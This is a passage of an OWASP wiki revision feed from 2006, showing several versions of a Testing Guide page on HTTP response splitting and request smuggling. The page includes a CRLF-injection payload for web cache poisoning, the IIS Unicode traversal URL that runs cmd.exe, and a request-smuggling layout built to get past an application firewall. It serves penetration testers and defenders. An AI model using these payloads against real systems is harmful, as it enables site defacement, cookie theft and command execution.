* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13957</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13957"/>
				<updated>2006-12-04T23:20:56Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messaged can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and Examples ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. Such choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corrisponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represent the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends, immediately after the first request. a&lt;br /&gt;
second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache&lt;br /&gt;
will receive the &amp;quot;system down&amp;quot; message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that would steal their cookies, mounting a Cross Site Scripting attack. Note that while the vulnerability is in the application, the target here are its users.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:&lt;br /&gt;
&lt;br /&gt;
# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g.: a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with &amp;quot;Pragma: no-cache&amp;quot; in the request headers&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g.: &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g.: UTF-7)&lt;br /&gt;
# Some targets (e.g.: ASP) will URL-encode the path (e.g.: www.victim.com/redirect.asp) part of the Location header, making a CRLF sequence useless. However, they fail to encode the query section (e.g.: ?interface=advanced), meaning that a leading question mark is enough to bypass this problem&lt;br /&gt;
&lt;br /&gt;
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the corresponding paper referenced at the bottom of this page&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
A successful exploitation of HTTP Splitting is greatly helped by knowing some details of the web application and of the attack target.&lt;br /&gt;
For instance, different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Other targets will assume that different messages will be carried by different packets. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. This might cause some trouble when the vulnerable parameter is to be sent in the URL, as a very long URL is likely to be truncated or filtered. A gray box scenario can help the attacker to find a workaround: several application servers, for instance, will allow the request to be sent using POST instead of GET. &lt;br /&gt;
 &lt;br /&gt;
===HTTP Smuggling===&lt;br /&gt;
As mentioned in the introduction, HTTP Smuggling leverages the different ways that a particularly crafted HTTP message can be parsed and interpreted by different agents (browsers, web caches, application firewalls). This relatively new kind of attack was first discovered by Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin in 2005. There are several possible applications and we will analyze one of the most spectacular: the bypass of an application firewall. Refer to the original whitepaper (linked at the bottom of this page) for more detailed information and other scenarios.&lt;br /&gt;
&lt;br /&gt;
'''Application Firewall Bypass'''&lt;br /&gt;
&lt;br /&gt;
There are several products that enable a system administration to detect and block a hostile web request depending on some known malicious pattern that is embedded in the request. One very old example is the infamous Unicode directory traversal attack against IIS server (http://www.securityfocus.com/bid/1806), in which an attacker could break out the www root by issuing a request like:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+&amp;lt;command_to_execute&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt; &lt;br /&gt;
Of course, it is quite easy to spot and filter this attack by the presence of strings like &amp;quot;..&amp;quot; and &amp;quot;cmd.exe&amp;quot; in the URL. However, IIS 5.0 appears to be able to handle a POST request whose body is up to 48K bytes, truncating all content that is beyond this limit. The pen-tester can leverage this by creating a very large request, structured as follows:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.1        &amp;lt;-- Request #1 &lt;br /&gt;
Host: target&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 49223 &lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;49150 bytes of garbage&amp;gt; &lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #2&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Length: 33&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
POST /target.asp HTTP/1.0        &amp;lt;-- Request #3&lt;br /&gt;
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0   &amp;lt;-- Request #4&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
&amp;lt;CRLF&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What happens here is that the Request #1 is made of 49223 bytes, which includes also the lines of Request #2. Therefore, a firewall (or any other agent beside IIS 5.0) will see Request #1, will fail to see Request #2 (its data will be just part of #1), will see Request #3 and miss Request #4 (because the POST will be just part of the fake header xxxx).&lt;br /&gt;
Now, what happens to IIS 5.0 ? It will stop parsing Request #1 right after the &amp;lt;CRLF&amp;gt; and will therefore parse Request #2 as a new, separate request. Request #2 claims that its content is 33 bytes, which includes everything until &amp;quot;xxxx: &amp;quot;, making IIS miss Request #3 (interpreted as part of Request #2) but spot Request #4, as its POST starts right after the 33rd byte or Request #2. It is a bit complicated, but the point is that the attack URL will not be detected by the firewall (it will be interpreted as the body of a previous request) but will be correctly parsed (and executed) by IIS.&lt;br /&gt;
&lt;br /&gt;
Note that HTTP Smuggling does *not* exploit any vulnerability in the target web application. Therefore, it might be somewhat tricky, in a pen-test engagement, to convince the client that a countermeasure should be looked for anyway.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13956</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13956"/>
				<updated>2006-12-04T21:55:57Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We will analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first attack exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache poisoning to cross site scripting. In the second attack, the attacker exploits the fact that some specially crafted HTTP messaged can be parsed and interpreted in different ways depending on the agent that receives them. HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and Examples ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of some headers of their responses. The most straightforward example is provided by redirections in which the target URL depends on some user submitted value. Let's say for instance that the user is asked to choose whether he/she prefers a standard or advanced web interface. Such choice will be passed as a parameter that will be used in the response header to trigger the redirection to the corrisponding page. More specifically, if the parameter 'interface' has the value 'advanced', the application will answer with the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will bring the user to the page indicated in the Location header. However, if the application does not filter the user input, it will be possible to insert in the 'interface' parameter the sequence %0d%0a, which represent the CRLF sequence that is used to separate different lines. At this point, we will be able to trigger a response that will be interpreted as two different responses by anybody who happens to parse it, for instance a web cache sitting between us and the application. This can be leveraged by an attacker to poison this web cache so that it will provide false content in all subsequent requests. Let's say that in our previous example the pen-tester passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends, immediately after the first request. a&lt;br /&gt;
second one asking for /index.html, the web cache will match this request with the second response and cache its content, so that all subsequent requests directed to victim.com/index.html passing through that web cache&lt;br /&gt;
will receive the &amp;quot;system down&amp;quot; message. In this way, an attacker would be able to effectively deface the site for all users using that web cache (the whole Internet, if the web cache is a reverse proxy for the web application). Alternatively, the attacker could pass to those users a JavaScript snippet that would steal their cookies, mounting a Cross Site Scripting attack. Note that while the vulnerability is in the application, the target here are its users.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to identify all user controlled input that influences one or more headers in the response, and check whether he/she can successfully inject a CR+LF sequence in it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a real world scenario can be quite complex, as several factors must be taken into account:&lt;br /&gt;
&lt;br /&gt;
# The pen-tester must properly set the headers in the fake response for it to be successfully cached (e.g.: a Last-Modified header with a date set in the future). He/she might also have to destroy previously cached versions of the target pagers, by issuing a preliminary request with &amp;quot;Pragma: no-cache&amp;quot; in the request headers&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g.: &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g.: UTF-7)&lt;br /&gt;
# Some targets (e.g.: ASP) will URL-encode the path (e.g.: www.victim.com/redirect.asp) part of the Location header, making a CRLF sequence useless. However, they fail to encode the query section (e.g.: ?interface=advanced), meaning that a leading question mark is enough to bypass this problem&lt;br /&gt;
# Different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. Other targets will assume that different messages will be carried by different packets.&lt;br /&gt;
&lt;br /&gt;
For a more detailed discussion about this attack and other information about possible scenarios and applications, check the corresponding paper referenced at the bottom of this page&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13954</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13954"/>
				<updated>2006-12-04T20:49:21Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first one exploits a lack of input sanitization which allows an attacker to control to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache&lt;br /&gt;
poisoning to cross site scripting. In the second attack, we exploit the fact that the same HTTP message can be parsed and interpreted in different ways depending on the agent that receives.&lt;br /&gt;
HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of&lt;br /&gt;
some headers of their response. The most classic example is provided by&lt;br /&gt;
redirections in which the target URL depends on some user submitted value.&lt;br /&gt;
Let's say that the user is asked to choose whether she prefers a standard or&lt;br /&gt;
advanced interface. Such choice will be passed as a parameter that will be&lt;br /&gt;
used for a redirection to the corrisponding page. If the parameter, for&lt;br /&gt;
instance, has the value 'advanced', the application will answer with the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will ask for the page indicated in&lt;br /&gt;
the Location header. However, if the application does not filter the user&lt;br /&gt;
input, it is possible to insert the sequence %0d%0a, which represent the CRLF&lt;br /&gt;
sequence that is used to separate different lines, and use it to craft a&lt;br /&gt;
response that will be interpreted as two different responses by the target,&lt;br /&gt;
which for instance can be a web cache. This can be leveraged by an attacker to&lt;br /&gt;
poison this web cache so that it will provide false content (controlled by the&lt;br /&gt;
attacker) in all subsequent requests. Let's say that in our previous example&lt;br /&gt;
an attacker passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends a&lt;br /&gt;
second request asking for /index.html, the web cache will match this request&lt;br /&gt;
with the second response, so that all subsequent requests for http://victim.com/index.html passing through that web cache will&lt;br /&gt;
will receive the &amp;quot;system down&amp;quot; message. In this way, the attacker will have&lt;br /&gt;
effectively defaced the site.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to&lt;br /&gt;
identify all user controlled input that influences one or more headers in the&lt;br /&gt;
response, and check whether he/she can successfully inject a CR+LF sequence in&lt;br /&gt;
it. The headers that are the most likely candidates for this attack are:&lt;br /&gt;
&lt;br /&gt;
* Location&lt;br /&gt;
* Set-Cookie&lt;br /&gt;
&lt;br /&gt;
It must be noted that a successful exploitation of this vulnerability in a&lt;br /&gt;
real world scenario can be quite complex, as several factors must be taken&lt;br /&gt;
into account:&lt;br /&gt;
&lt;br /&gt;
# The application, while not filtering the CR+LF sequence, might filter other characters that are needed for a successful attack (e.g.: &amp;quot;&amp;lt;&amp;quot; and &amp;quot;&amp;gt;&amp;quot;). In this case, the tester can try to use other encodings (e.g.: UTF-7)&lt;br /&gt;
# Different targets can use different methods to decide when the first HTTP message ends and when the second starts. Some will use the message boundaries, as in the previous example. Others will allocate for each message a number of chunks of predetermined length: in this case, the second message will have to start exactly at the beginning of a chunk and this will require the tester to use padding between the two messages. Other targets will assume that different messages will be carried by different packets.&lt;br /&gt;
&lt;br /&gt;
For a detailed discussion about this attacks, check the papers referenced at&lt;br /&gt;
the bottom of this page&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Amit Klein, &amp;quot;Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&lt;br /&gt;
* Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, &amp;quot;HTTP Request Smuggling&amp;quot; - http://www.watchfire.com/news/whitepapers.aspx&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13952</id>
		<title>Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)&amp;diff=13952"/>
				<updated>2006-12-04T20:40:40Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this chapter we will illustrate examples of attacks that leverage specific features of the HTTP protocol, either by exploiting weaknesses of the web application or peculiarities in the way different agents interpret HTTP messages&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
We analyze two different attacks that target specific HTTP headers: HTTP splitting and HTTP smuggling. The first one exploits a lack of input sanitization which allows an attacker to control to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages. The goal of the attack can vary from a cache&lt;br /&gt;
poisoning to cross site scripting. In the second attack, we exploit the fact that the same HTTP message can be parsed and interpreted in different ways depending on the agent that receives.&lt;br /&gt;
HTTP smuggling requires some level of knowledge about the different agents that are handling the HTTP messages (web server, proxy, firewall) and therefore will be included only in the Gray Box testing section&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
===HTTP Splitting===&lt;br /&gt;
Some web applications use part of the user input to generate the values of&lt;br /&gt;
some headers of their response. The most classic example is provided by&lt;br /&gt;
redirections in which the target URL depends on some user submitted value.&lt;br /&gt;
Let's say that the user is asked to choose whether she prefers a standard or&lt;br /&gt;
advanced interface. Such choice will be passed as a parameter that will be&lt;br /&gt;
used for a redirection to the corrisponding page. If the parameter, for&lt;br /&gt;
instance, has the value 'advanced', the application will answer with the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
&amp;lt;snip&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
When receiving this message, the browser will ask for the page indicated in&lt;br /&gt;
the Location header. However, if the application does not filter the user&lt;br /&gt;
input, it is possible to insert the sequence %0d%0a, which represent the CRLF&lt;br /&gt;
sequence that is used to separate different lines, and use it to craft a&lt;br /&gt;
response that will be interpreted as two different responses by the target,&lt;br /&gt;
which for instance can be a web cache. This can be leveraged by an attacker to&lt;br /&gt;
poison this web cache so that it will provide false content (controlled by the&lt;br /&gt;
attacker) in all subsequent requests. Let's say that in our previous example&lt;br /&gt;
an attacker passes the following data as the interface parameter:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-&lt;br /&gt;
Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0a&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The resulting answer from the vulnerable application will therefore be the&lt;br /&gt;
following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 302 Moved Temporarily&lt;br /&gt;
Date: Sun, 03 Dec 2005 16:22:19 GMT&lt;br /&gt;
Location: http://victim.com/main.jsp?interface=advanced&lt;br /&gt;
Content-Length: 0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 35&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;Sorry,%20System%20Down&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;other data&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The web cache will see two different responses, so if the attacker sends a&lt;br /&gt;
second request asking for /index.html, the web cache will match this request&lt;br /&gt;
with the second response, so that all subsequent requests for http://victim.com/index.html passing through that web cache will&lt;br /&gt;
will receive the &amp;quot;system down&amp;quot; message. In this way, the attacker will have&lt;br /&gt;
effectively defaced the site.&lt;br /&gt;
&lt;br /&gt;
Therefore, in order to look for this vulnerability, the tester needs to&lt;br /&gt;
